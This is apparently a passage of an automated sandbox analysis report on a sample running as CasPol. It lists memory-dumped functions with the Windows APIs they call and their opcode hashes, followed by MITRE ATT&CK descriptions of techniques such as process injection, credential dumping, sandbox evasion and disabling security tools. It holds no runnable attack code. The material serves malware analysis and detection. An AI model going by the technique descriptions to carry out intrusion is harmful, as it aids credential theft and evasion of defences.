Instruction Fuzzy Hash: 4571A9B2C043889FDB04CFA9C884BDEBFB0EF49310F14856AE454AB261C7749845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D07E9BA Relevance: 1.7, APIs: 1, Instructions: 186COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f7cfe541a30158f881b855cdeea3d0cff27ab86069ce3853e6c0b0f5beda8d17
Instruction ID: e1e67196ee8da69b0818a69f4b7f41b58c0b37720591e7b84e0e9fcc333f1758
Opcode Fuzzy Hash: f7cfe541a30158f881b855cdeea3d0cff27ab86069ce3853e6c0b0f5beda8d17
Instruction Fuzzy Hash: D3A1BA38A05329CFDB65EF20C88C69EB771BF89349F1041E9D84996754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07EA01 Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 05bfe79d83875e177e217bbe46744b461bf7c596b4410b8cb5c9d16238619eb3
Instruction ID: 9acbd7427cab8370f7c28ae50248b045613c9f551d7db17f1ec20e0f47b185f3
Opcode Fuzzy Hash: 05bfe79d83875e177e217bbe46744b461bf7c596b4410b8cb5c9d16238619eb3
Instruction Fuzzy Hash: F591B938A05329CFDB65EF20C88C69EB771BF89349F1042E9D84996754DB326E85CF02

Uniqueness

Uniqueness Score: -1.00%

Function 1D07EA4B Relevance: 1.7, APIs: 1, Instructions: 170COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 90adf0dc4e48f79acae5108e5b7c37a7e34f4b9a571db65d91c61043a928b61c
Instruction ID: 99ccd3c1eb394ec480cab8ef10a4817ad7010a1845aae05f4c27c770315db940
Opcode Fuzzy Hash: 90adf0dc4e48f79acae5108e5b7c37a7e34f4b9a571db65d91c61043a928b61c
Instruction Fuzzy Hash: E791B938A05329CFDB65EF20C88C69EB771BF89349F1041E9D84A96754DB326E85CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07EA89 Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8d09cd036071a075a7a6ab1c72ac4636fd73f3ae9105bc47b77596bad19e3c47
Instruction ID: 3bd0d8a255fbda8da14dc64180f8393b634edccf10d6d51a727e5a9c5cbd15a0
Opcode Fuzzy Hash: 8d09cd036071a075a7a6ab1c72ac4636fd73f3ae9105bc47b77596bad19e3c47
Instruction Fuzzy Hash: 7281A938A05329CFDB65EF20C88C69EB771BF89349F1045E9D84996754DB325E81CF12

Uniqueness

Uniqueness Score: -1.00%

Function 1D07EAD3 Relevance: 1.7, APIs: 1, Instructions: 158COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1D07EAFC

Memory Dump Source

Source File: 00000003.00000002.20394977500.000000001D070000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1d070000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 42b02d1f26def56ff78a3628cc3947d2b1266f3068e129e59b156ffb984fcafb
Instruction ID: 297a55995ede883bc6cf4e545b27975f6ad3ce4dd1d6a9c861591a5ff7a32538
Opcode Fuzzy Hash: 42b02d1f26def56ff78a3628cc3947d2b1266f3068e129e59b156ffb984fcafb
Instruction Fuzzy Hash: CA81A838A05329CFDB65EF20C88C69EB771BF89349F1081E9D84A96754DB325E81CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00BCE271 Relevance: 1.7, APIs: 1, Instructions: 155threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-6D7DA47A), ref: 00BCE331

Memory Dump Source

Source File: 00000003.00000002.20370305355.0000000000BCE000.00000040.00000400.00020000.00000000.sdmp, Offset: 00BCE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bce000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 19951047aa1bc9faec5a4b8b702c2f160632c59ec3c752f86dbd094cd81123ff
Instruction ID: 4dde158f6ac974a7d47f491fa702703d8c8c75682138b2fac4321a6b42ec66c4
Opcode Fuzzy Hash: 19951047aa1bc9faec5a4b8b702c2f160632c59ec3c752f86dbd094cd81123ff
Instruction Fuzzy Hash: 194166711856A0DFC72A8B60C4A9F99B3E5EF42721F2409CED8E68F161C736C695CA41

Uniqueness

Uniqueness Score: -1.00%

Function 00BCE339 Relevance: 1.6, APIs: 1, Instructions: 136threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-6D7DA47A), ref: 00BCE331

Memory Dump Source

Source File: 00000003.00000002.20370305355.0000000000BCE000.00000040.00000400.00020000.00000000.sdmp, Offset: 00BCE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bce000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 22bf5c8827d7d45caa0f084d1d0192d7bee273b23ba01b736a4310d31344cbaf
Instruction ID: a4307c094675f9f7884f4b1e86bb3fe73894fd39cc6d9a402add51dca2e91a9f
Opcode Fuzzy Hash: 22bf5c8827d7d45caa0f084d1d0192d7bee273b23ba01b736a4310d31344cbaf
Instruction Fuzzy Hash: D6415871181AA1EBC71A4B60D499F9AF3E5EF82722F241A8DD5F58F171C737C255CA00

Uniqueness

Uniqueness Score: -1.00%

Function 20571228 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17eaa5810440211ce2dde2f4e94f28330b98ef704e1f5edabff700c498a48899
Instruction ID: 72e4f916347da86ca11fcbe4abf1bb1d199af2bf55fefedc3a7d410a5af7ea41
Opcode Fuzzy Hash: 17eaa5810440211ce2dde2f4e94f28330b98ef704e1f5edabff700c498a48899
Instruction Fuzzy Hash: 61413432E043598FCB04CFA9D8446EEBBF0AFC9320F15866AD508E7651DB749884CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 209D0898 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 209D09AA

Memory Dump Source

Source File: 00000003.00000002.20406257333.00000000209D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 209D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_209d0000_CasPol.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e42d080e264b4042db34851b8c454a860802659942f7b2eb8ef61b345fd7c5b3
Instruction ID: 72fec33de0190743dba1378c1894481cfdce79de38a88e14bc4225d8bb01016b
Opcode Fuzzy Hash: e42d080e264b4042db34851b8c454a860802659942f7b2eb8ef61b345fd7c5b3
Instruction Fuzzy Hash: D841B1B1D00349DFDB14CF99C894ADEFBB5BF88314F24812AE819AB211D7759945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00BCE25C Relevance: 1.6, APIs: 1, Instructions: 100threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-6D7DA47A), ref: 00BCE331

Memory Dump Source

Source File: 00000003.00000002.20370305355.0000000000BCE000.00000040.00000400.00020000.00000000.sdmp, Offset: 00BCE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bce000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: e382a7d1b9f877bd755ed9b822934533b4f1f941a1b6b47181fed9feffb046bf
Instruction ID: eca73e89e11a32f10c516942cdac2c5335478208ddec169bb35329019ec78438
Opcode Fuzzy Hash: e382a7d1b9f877bd755ed9b822934533b4f1f941a1b6b47181fed9feffb046bf
Instruction Fuzzy Hash: 7331F470204355CFDB288F64C5A8FA937E2AF51314F5596EED9AA8F6A5C330C9C1DB02

Uniqueness

Uniqueness Score: -1.00%

Function 20579D00 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 2057B526

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 62ad23ee424f9893d58219ffd44abba55caf681feb2c8efd75ccac4057a60356
Instruction ID: 50ac71f8b2cad9f1d8a85ab37f2c41958d870438c35926eae39a42a027001dae
Opcode Fuzzy Hash: 62ad23ee424f9893d58219ffd44abba55caf681feb2c8efd75ccac4057a60356
Instruction Fuzzy Hash: A431ADB2C053898FDB11CF99C884ADEFFB0FF5A250F14855EC455AB611D3B4A504CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 209D2FFE Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 209D3091

Memory Dump Source

Source File: 00000003.00000002.20406257333.00000000209D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 209D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_209d0000_CasPol.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 696cfb409d74e986c9e557cf4c2f7b6fddf90538422b273190ba0c5cc9fcea00
Instruction ID: a1fa0583983e1c631a8b0ba114d19115414cd966aabb7d098778dae06ffc9d48
Opcode Fuzzy Hash: 696cfb409d74e986c9e557cf4c2f7b6fddf90538422b273190ba0c5cc9fcea00
Instruction Fuzzy Hash: FF3116B5A003098FCB14CF99C888A9ABBF5FF88314F25C599D51AAB321D375A841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 2057B379 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004B), ref: 2057B3ED

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 8c4efd8aa1c07e5b67d1c1caf9e6b56dc2fb5ccdb4efcefd14fb9456d4a96d07
Instruction ID: 3de7a227ffe2534bf4173f887895998ad18dbfd4bbea925ca4e61f2875d4faf7
Opcode Fuzzy Hash: 8c4efd8aa1c07e5b67d1c1caf9e6b56dc2fb5ccdb4efcefd14fb9456d4a96d07
Instruction Fuzzy Hash: D7310874804694CFEB11CFA5C4847DE7FF4EF1A344F148859C099A7552C738A945DB71

Uniqueness

Uniqueness Score: -1.00%

Function 2057E9A8 Relevance: 1.6, APIs: 1, Instructions: 77libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,2057E829,00000800,00000000,00000000), ref: 2057EA1A

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f146cee375fab66af1968fae2649146ae7e174556c4b9402e2b9c7cdb0c27a04
Instruction ID: e280091aac46cb7e2cb50a988849aa17042bb5f061759e9f88f53e46849d7cfb
Opcode Fuzzy Hash: f146cee375fab66af1968fae2649146ae7e174556c4b9402e2b9c7cdb0c27a04
Instruction Fuzzy Hash: 2B2189B68043498FCB10CFA9C844ADEFBF4EF4A314F14852AD655BB621C3756945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 2057B4A8 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 2057B526

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 16aa2c679554c781fde1403cae722c6cd433f89e2e9da9564b31bdc85094472e
Instruction ID: 6a9d8b65d511d9775893b882f03ae0a79eac7baba2c80f60c43bc3707679b5a9
Opcode Fuzzy Hash: 16aa2c679554c781fde1403cae722c6cd433f89e2e9da9564b31bdc85094472e
Instruction Fuzzy Hash: AA2198B58006498FDB10CF99D884AEEFFB1FF4A314F14891EC49AB7652C3346506CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 205761C8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 20576257

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: dc31246dc9bf042d65b178545553baf3faf307408369a337ca4fbff8bc3a49dc
Instruction ID: 6d88ff5d5fba10f3beb63934aba19affd71fed9bb9afe9945713a49a83b00313
Opcode Fuzzy Hash: dc31246dc9bf042d65b178545553baf3faf307408369a337ca4fbff8bc3a49dc
Instruction Fuzzy Hash: DB21E4B5D00248AFDB10CFA9D884ADEFBF5FB48310F14845AE918A3350D778A950CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 205761D0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 20576257

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1df4d3b51803c14f36c3b549d6e1cb2d91905d64124aea75088825e0d6b8fe41
Instruction ID: 46ae2365785c4858e7a44e8d4e4378eed7067c93f412e9afdd31fb9c6f337aed
Opcode Fuzzy Hash: 1df4d3b51803c14f36c3b549d6e1cb2d91905d64124aea75088825e0d6b8fe41
Instruction Fuzzy Hash: 3D21C4B5D00249AFDB10CFAAD984ADEFBF4FB48310F14841AE918A7351D778A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 205712F8 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,2057127A), ref: 20571367

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: c76068062bb99486e932e099807f3ed313dd37ddde83f6d6fb9d87dd5a58a705
Instruction ID: bdbb160e06f70ecdcb7abc6956add568fddf81029909b1a1956caf5992d4d7cd
Opcode Fuzzy Hash: c76068062bb99486e932e099807f3ed313dd37ddde83f6d6fb9d87dd5a58a705
Instruction Fuzzy Hash: AD1124B1C006699FCB10CF9AD845BDEFBF4EF49220F05852AD518A7640D778A940CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 20579D3C Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 2057B526

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 3cdbd4677869a967c6963d0fcce8792c515f35aa3c77cd451c4be5be6391c8fb
Instruction ID: 39088f57af86ec9c8843161ba5c0ab357f979c9e0d50bd89a62797f52ccff7c5
Opcode Fuzzy Hash: 3cdbd4677869a967c6963d0fcce8792c515f35aa3c77cd451c4be5be6391c8fb
Instruction Fuzzy Hash: A9213EB18006498FDB10CF9AD884BDEFBF4FB89310F14852ED819BB210D778A904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 20570A9C Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,2057127A), ref: 20571367

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 066e5173e706de138baf947c6b4982a0b5613eda18eef5e2f904412e71233c3c
Instruction ID: 19d98452f2175ad44a1e9cd56b60614fd51304aa662757e1363947d53db12858
Opcode Fuzzy Hash: 066e5173e706de138baf947c6b4982a0b5613eda18eef5e2f904412e71233c3c
Instruction Fuzzy Hash: 321112B1C0465A9FCB10CFAAC444BDEFBF4AF48220F15856AE918B7650D778A940CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 2057D530 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,2057E829,00000800,00000000,00000000), ref: 2057EA1A

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: efd4af64f763cbaf1f3b379064526411fc613467fd8e7c75afdda0a56bd91e77
Instruction ID: 29218a481cb5d9b4aaa0385d03546c88f920c3c4e08094b18f72e3ae0ad95cf1
Opcode Fuzzy Hash: efd4af64f763cbaf1f3b379064526411fc613467fd8e7c75afdda0a56bd91e77
Instruction Fuzzy Hash: 1A1106B29003499FDB14CF9AC844B9EFBF4AB88314F14842AD515AB610C774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 2057E748 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 2057E7AE

Memory Dump Source

Source File: 00000003.00000002.20405656220.0000000020570000.00000040.00000800.00020000.00000000.sdmp, Offset: 20570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20570000_CasPol.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 47b968a6e6bd6ec69fb93682f2ed85a57be74e8d1e474bfc80fef912c81cbe8a
Instruction ID: baf26fea3bb874dc31474562cfd6c5a26e08a120845520f5ee874769fe760e71
Opcode Fuzzy Hash: 47b968a6e6bd6ec69fb93682f2ed85a57be74e8d1e474bfc80fef912c81cbe8a
Instruction Fuzzy Hash: 08110FB6C003898FDB14CF9AC484B9EFBF4EF88324F14842AD519A7610C778A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 209D5679 Relevance: 1.5, APIs: 1, Instructions: 29comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 209D569D

Memory Dump Source

Source File: 00000003.00000002.20406257333.00000000209D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 209D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_209d0000_CasPol.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0197a5e701d5924f847510d64f1cc5675bf6b7628ba6532922f8ce14aedec0e6
Instruction ID: 186f7bce798ca9bded018f9736e2915bd4121f03c216fabc1aeb6cf678371b3c
Opcode Fuzzy Hash: 0197a5e701d5924f847510d64f1cc5675bf6b7628ba6532922f8ce14aedec0e6
Instruction Fuzzy Hash: B8F0F4B59043098FCB20DF99D44478EFBF4AB88324F25845AD61AA7750C378A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1C91D3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20393920500.000000001C91D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1C91D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1c91d000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c9411ced32b92b38f9fbdc87a94d69ed9b36113c92a30c0ca228be24599bc6d
Instruction ID: c5e3f4dfdd57c607afa638966fa0c194d852f94cefc276af0c6e210040c62354
Opcode Fuzzy Hash: 1c9411ced32b92b38f9fbdc87a94d69ed9b36113c92a30c0ca228be24599bc6d
Instruction Fuzzy Hash: AD21F172504248EFEB06EF51D9C1B16BB65EB88324F24C66DD9090F286C336E456C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 1C91D3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20393920500.000000001C91D000.00000040.00000800.00020000.00000000.sdmp, Offset: 1C91D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1c91d000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2dba7a1967861eb5ec2b0cc31b269d9e470d12b3f0ba92839c3e9c6cbfbfbb5
Instruction ID: e558b70017df4a7d5523f4f9aa5372bb16e9213c93de3b2ecfc6874434dba712
Opcode Fuzzy Hash: e2dba7a1967861eb5ec2b0cc31b269d9e470d12b3f0ba92839c3e9c6cbfbfbb5
Instruction Fuzzy Hash: 0311B176504284DFDB06DF51D5C1B16BF72FB88324F24C6ADD8090B696C33AE456CBA2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

